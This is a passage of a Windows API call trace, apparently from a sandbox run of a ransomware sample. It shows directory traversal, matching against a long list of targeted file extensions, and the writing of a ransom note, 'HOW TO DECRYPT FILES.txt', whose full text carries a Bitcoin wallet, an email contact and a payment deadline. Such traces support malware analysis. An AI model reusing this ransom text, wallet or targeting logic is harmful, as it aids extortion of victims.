(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.ppt") returned 0 [0107.399] lstrlenA (lpString="*.ppt") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.pptx") returned 0 [0107.399] lstrlenA (lpString="*.pptx") returned 6 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.doc") returned 0 [0107.399] lstrlenA (lpString="*.doc") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.dot") returned 0 [0107.399] lstrlenA (lpString="*.dot") returned 5 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.docx") returned 0 [0107.399] lstrlenA (lpString="*.docx") returned 6 [0107.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.7z") returned 0 [0107.399] lstrlenA (lpString="*.7z") returned 4 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.tar") returned 0 [0107.400] lstrlenA (lpString="*.tar") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.bz2") returned 0 [0107.400] lstrlenA (lpString="*.bz2") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.gz") returned 0 [0107.400] lstrlenA (lpString="*.gz") returned 4 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mkv") returned 0 [0107.400] lstrlenA (lpString="*.mkv") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.eml") returned 0 [0107.400] lstrlenA (lpString="*.eml") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.msg") returned 0 [0107.400] lstrlenA (lpString="*.msg") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.edb") returned 0 [0107.400] lstrlenA (lpString="*.edb") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.accdb") returned 0 [0107.400] lstrlenA (lpString="*.accdb") returned 7 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.odb") returned 0 [0107.400] lstrlenA (lpString="*.odb") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.java") returned 0 [0107.400] lstrlenA (lpString="*.java") returned 6 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.asm") returned 0 [0107.400] lstrlenA (lpString="*.asm") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.pfx") returned 0 [0107.400] lstrlenA (lpString="*.pfx") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.pem") returned 0 [0107.400] lstrlenA (lpString="*.pem") returned 5 [0107.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.p12") returned 0 [0107.401] lstrlenA (lpString="*.p12") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.gpg") returned 0 [0107.401] lstrlenA (lpString="*.gpg") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.vsd") returned 0 [0107.401] lstrlenA (lpString="*.vsd") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.odg") returned 0 [0107.401] lstrlenA (lpString="*.odg") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.raw") returned 0 [0107.401] lstrlenA (lpString="*.raw") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.nef") returned 0 [0107.401] lstrlenA (lpString="*.nef") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.svg") returned 0 [0107.401] lstrlenA (lpString="*.svg") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.psd") returned 0 [0107.401] lstrlenA (lpString="*.psd") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.vmx") returned 0 [0107.401] lstrlenA (lpString="*.vmx") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.vmdk") returned 0 [0107.401] lstrlenA (lpString="*.vmdk") returned 6 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.vdi") returned 0 [0107.401] lstrlenA (lpString="*.vdi") returned 5 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.lay6") returned 0 [0107.401] lstrlenA (lpString="*.lay6") returned 6 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mpeg") returned 0 [0107.401] lstrlenA (lpString="*.mpeg") returned 6 [0107.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.djvu") returned 0 [0107.402] lstrlenA (lpString="*.djvu") returned 6 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.tiff") returned 0 [0107.402] lstrlenA (lpString="*.tiff") returned 6 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.backup") returned 0 [0107.402] lstrlenA (lpString="*.backup") returned 8 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.pdf") returned 0 [0107.402] lstrlenA (lpString="*.pdf") returned 5 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.cert") returned 0 [0107.402] lstrlenA (lpString="*.cert") returned 6 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.docm") returned 0 [0107.402] lstrlenA (lpString="*.docm") returned 6 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.xlsm") returned 0 [0107.402] lstrlenA (lpString="*.xlsm") returned 6 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.dwg") returned 0 [0107.402] lstrlenA (lpString="*.dwg") returned 5 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.nd") returned 0 [0107.402] lstrlenA (lpString="*.nd") returned 4 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.tlg") returned 0 [0107.402] lstrlenA (lpString="*.tlg") returned 5 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.lgb") returned 0 [0107.402] lstrlenA (lpString="*.lgb") returned 5 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mov") returned 0 [0107.402] lstrlenA (lpString="*.mov") returned 5 [0107.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.xdw") returned 0 [0107.402] lstrlenA (lpString="*.xdw") returned 5 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.ods") returned 0 [0107.403] lstrlenA (lpString="*.ods") returned 5 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.wav") returned 0 [0107.403] lstrlenA (lpString="*.wav") returned 5 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.mp3") returned 0 [0107.403] lstrlenA (lpString="*.mp3") returned 5 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.aiff") returned 0 [0107.403] lstrlenA (lpString="*.aiff") returned 6 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.flac") returned 0 [0107.403] lstrlenA (lpString="*.flac") returned 6 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.m4a") returned 0 [0107.403] lstrlenA (lpString="*.m4a") returned 5 [0107.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\ehiVidCtl.ni.dll", pszSpec="*.csv") returned 0 [0107.403] lstrlenA (lpString="*.csv") returned 5 [0107.403] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eec6a10, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3eec6a10, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3eeecb70, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x215400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiVidCtl.ni.dll", cAlternateFileName="EHIVID~1.DLL")) returned 0 [0107.404] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.404] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3ef12cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3ef12cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="11d57f5c033326954c0bc4f0b2680812", cAlternateFileName="11D57F~1")) returned 0 [0107.404] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.404] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60297a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60297a60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x560069, cFileName="ehiwmp", cAlternateFileName="")) returned 1 [0107.404] lstrcmpA (lpString1=".", lpString2="ehiwmp") returned -1 [0107.404] lstrcmpA (lpString1="..", lpString2="ehiwmp") returned -1 [0107.404] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.404] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiwmp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp" [0107.404] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp") returned 53 [0107.404] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60297a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60297a60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.405] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.405] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60297a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60297a60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.405] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.405] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.405] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x602bdbc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x602bdbc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9f570489c98c93a79f0fd793586afdc6", cAlternateFileName="9F5704~1")) returned 1 [0107.405] lstrcmpA (lpString1=".", lpString2="9f570489c98c93a79f0fd793586afdc6") returned -1 [0107.405] lstrcmpA (lpString1="..", lpString2="9f570489c98c93a79f0fd793586afdc6") returned -1 [0107.405] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\*.*") returned="*.*" [0107.405] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\", lpString2="9f570489c98c93a79f0fd793586afdc6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6" [0107.405] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6") returned 86 [0107.405] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x602bdbc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x602bdbc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.408] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x602bdbc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x602bdbc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.408] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.408] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304afd8e, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304afd8e, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9c53423f, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xe4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiwmp.ni.dll", cAlternateFileName="")) returned 1 [0107.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.409] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiwmp.ni.dll") returned -1 [0107.409] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiwmp.ni.dll") returned 1 [0107.409] lstrcmpiA (lpString1="", lpString2="ehiwmp.ni.dll") returned -1 [0107.409] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\*.*") returned="*.*" [0107.409] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\" [0107.409] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\") returned="" [0107.409] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\HOW TO DECRYPT FILES.txt" [0107.409] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\how to decrypt files.txt")) returned 0xffffffff [0107.409] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.410] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.410] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.413] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.413] CloseHandle (hObject=0x90) returned 1 [0107.413] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\", lpString2="ehiwmp.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll" [0107.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.ems") returned 0 [0107.413] lstrlenA (lpString="*.ems") returned 5 [0107.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.db") returned 0 [0107.413] lstrlenA (lpString="*.db") returned 4 [0107.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.dbf") returned 0 [0107.413] lstrlenA (lpString="*.dbf") returned 5 [0107.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.myox") returned 0 [0107.413] lstrlenA (lpString="*.myox") returned 6 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.myo") returned 0 [0107.414] lstrlenA (lpString="*.myo") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbw") returned 0 [0107.414] lstrlenA (lpString="*.qbw") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbb") returned 0 [0107.414] lstrlenA (lpString="*.qbb") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbm") returned 0 